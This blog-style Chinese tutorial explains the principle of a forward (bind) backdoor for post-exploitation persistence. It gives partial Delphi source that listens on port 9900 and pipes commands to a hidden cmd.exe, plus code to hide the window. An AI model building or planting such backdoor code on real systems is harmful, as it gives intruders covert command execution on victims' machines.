DELPHI黑客程式設計(一) 正向後門原理實現

2022-06-23 05:51:11 字數 2689 閱讀 4723

在滲透測試中經常用到遠控、後門等輔助後滲透許可權維持工具,有一款好用的自製後門可以在鞏固滲透成果方面有很大的幫助。今天給大家簡單講解下後門的原理和實現的方法,主要針對技術研究和原理演示,請各位看官不要用於違法活動。

按照連線方式可分為正向後門及**後門。字面上理解就是正向後門會在被控機上開啟監聽埠,等待控制機的連線機控制,**後門會在被控端執行並嘗試獲取控制機位址及埠,獲取成功後主動連線控制機等待控制指令。

兩種後門各有不同的應用場景,有幾個主要的差別如下:

1、正向後門需要被控機能直接ip形式訪問,也就是說如果你在內網機器上安裝了乙個後門,在外網是不能直接連線控制的,除非在路由器上將內網機器的後門埠對映到外網;

2、**後門的控制機需要直接ip形式可訪問,也就是說被控端在獲取到控制端ip和埠後在反向連線的時候需要能直接ip可達,原理同上。

後門和遠控不一樣,後門一般功能簡單,不需要有什麼螢幕控制之類的功能,因為後門主要是用來獲取被控機連線許可權的,所以一般後門主要功能集中在隱藏、潛伏、保持連線,功能上具備執行命令功能即可。而遠控就不一樣了,一般會有豐富的功能,如命令執行、檔案管理、程序管理、鍵盤記錄、螢幕控制、攝像頭監控、音訊監控等等。

我們今天用來學習的是乙個簡單的只有命令執行功能的演示demo。

在windows下可以使用socket來建立套接字,再使用bind繫結位址、listen監聽埠、accept等到控制機的連線,連線上以後就可以使用recv和send收發控制指令和回顯資訊了。主要原理基本就這些,當然使用完socket要記得用closesocket關閉套接字。

第二,光有通訊功能還是不夠的,還要具備命令執行功能,乙個簡單的實現方法就是使用程序通訊方法將命令傳遞給cmd.exe執行,並將結果傳送給控制機。這裡的方法有很多,比如說匿名管道、單管道、或者直接繫結socket等。

port:=9900; //定義訪問埠

timeout:=pchar(50000); //定義超時時間

bindserver:=socket(af_inet,sock_stream,0); //定義socket

addrserver.sin_family:=af_inet;

addrserver.sin_port:=htons(port);

addrserver.sin_addr.s_addr:=inaddr_any;

setsockopt(bindserver,sol_socket,so_rcvtimeo,timeout,sizeof(timeout)); //設定超時時間

bind(bindserver,addrserver,sizeof(addrserver)); //繫結位址

listen(bindserver,5); //啟動監聽

sa:security_attributes; //定義安全屬性

siinfo:startupinfo; //新程序的startupinfo結構體

sa.nlength:=sizeof(security_attributes); //設定安全屬性

sa.lpsecuritydescriptor:=nil;

sa.binherithandle:=true;

createpipe(hreadpipe1,hwritepipe1,@sa,0); //建立兩個匿名管道

createpipe(hreadpipe2,hwritepipe2,@sa,0);

siinfo.dwflags:=(startf_usestdhandles or startf_useshowwindow);

siinfo.wshowwindow:=sw_hide; //新程序窗體隱藏

siinfo.hstdinput:=hreadpipe2; //新程序輸入管道

siinfo.hstdoutput:=hwritepipe1; //新程序輸出管道

siinfo.hstderror:=hwritepipe1; //新程序報錯資訊管道

strpcopy(cmdpath,'c:\windows\system32\cmd.exe'); //設定cmd路徑

createprocess(nil,cmdpath,nil,nil,true,0,nil,nil,siinfo,processinformation);//建立程序

上面兩步完成後基本可實現乙個簡單的後門演示demo,具體使用方法如下:

因為演示方便沒有隱藏窗體,要隱藏也很簡單可增加如下**即可:

win:longint;

win:=getforegroundwindow; //獲取當前窗體的控制代碼

showwindow(win,sw_hide); //隱藏窗體

連線成功之後會有歡迎資訊,說明可以執行命令了。

執行了dir和whoami都可正常回顯,基本沒啥問題。

儲存為project1.dpr

黑客程式設計技術 反向後門連線的實現

大過年的,一早收到第一封rejection from cs u washington seattle,鬱悶。估計明天起還有一批rej要來,何時有offer啊!淡定淡定,要讓自己變強大!恩恩!學習去!反向後門連線,就是把後門程式植入到伺服器上,由伺服器主動發起對hacker的連線,由此hacker可以...

ELisp程式設計十一 正規表示式一

互動式編寫正規表示式 比如buffer中有乙個字串 abcd 3 執行命令 m x re builder 會出現乙個小buffer,在雙引號裡面輸入正規表示式d 上面有字串的buffer馬上高亮d字元,如果輸入3,則高亮3字元。特殊字元 參考文件 代表任意乙個字元 除了換行符 因此 a.c 能夠匹配...

Windows黑客程式設計基礎 一 系統服務

windows黑客程式設計基礎 一 系統服務 songnianhu 163.com 部落格 blog.csdn.net shangguanwaner 前兩天和乙個同學聊天,他念的是xx大學計算機專業,他向我抱怨說天天在學校學的東西好象都沒什麼用,對hacker程式設計倒頗有興趣,就是不知到從何學起。...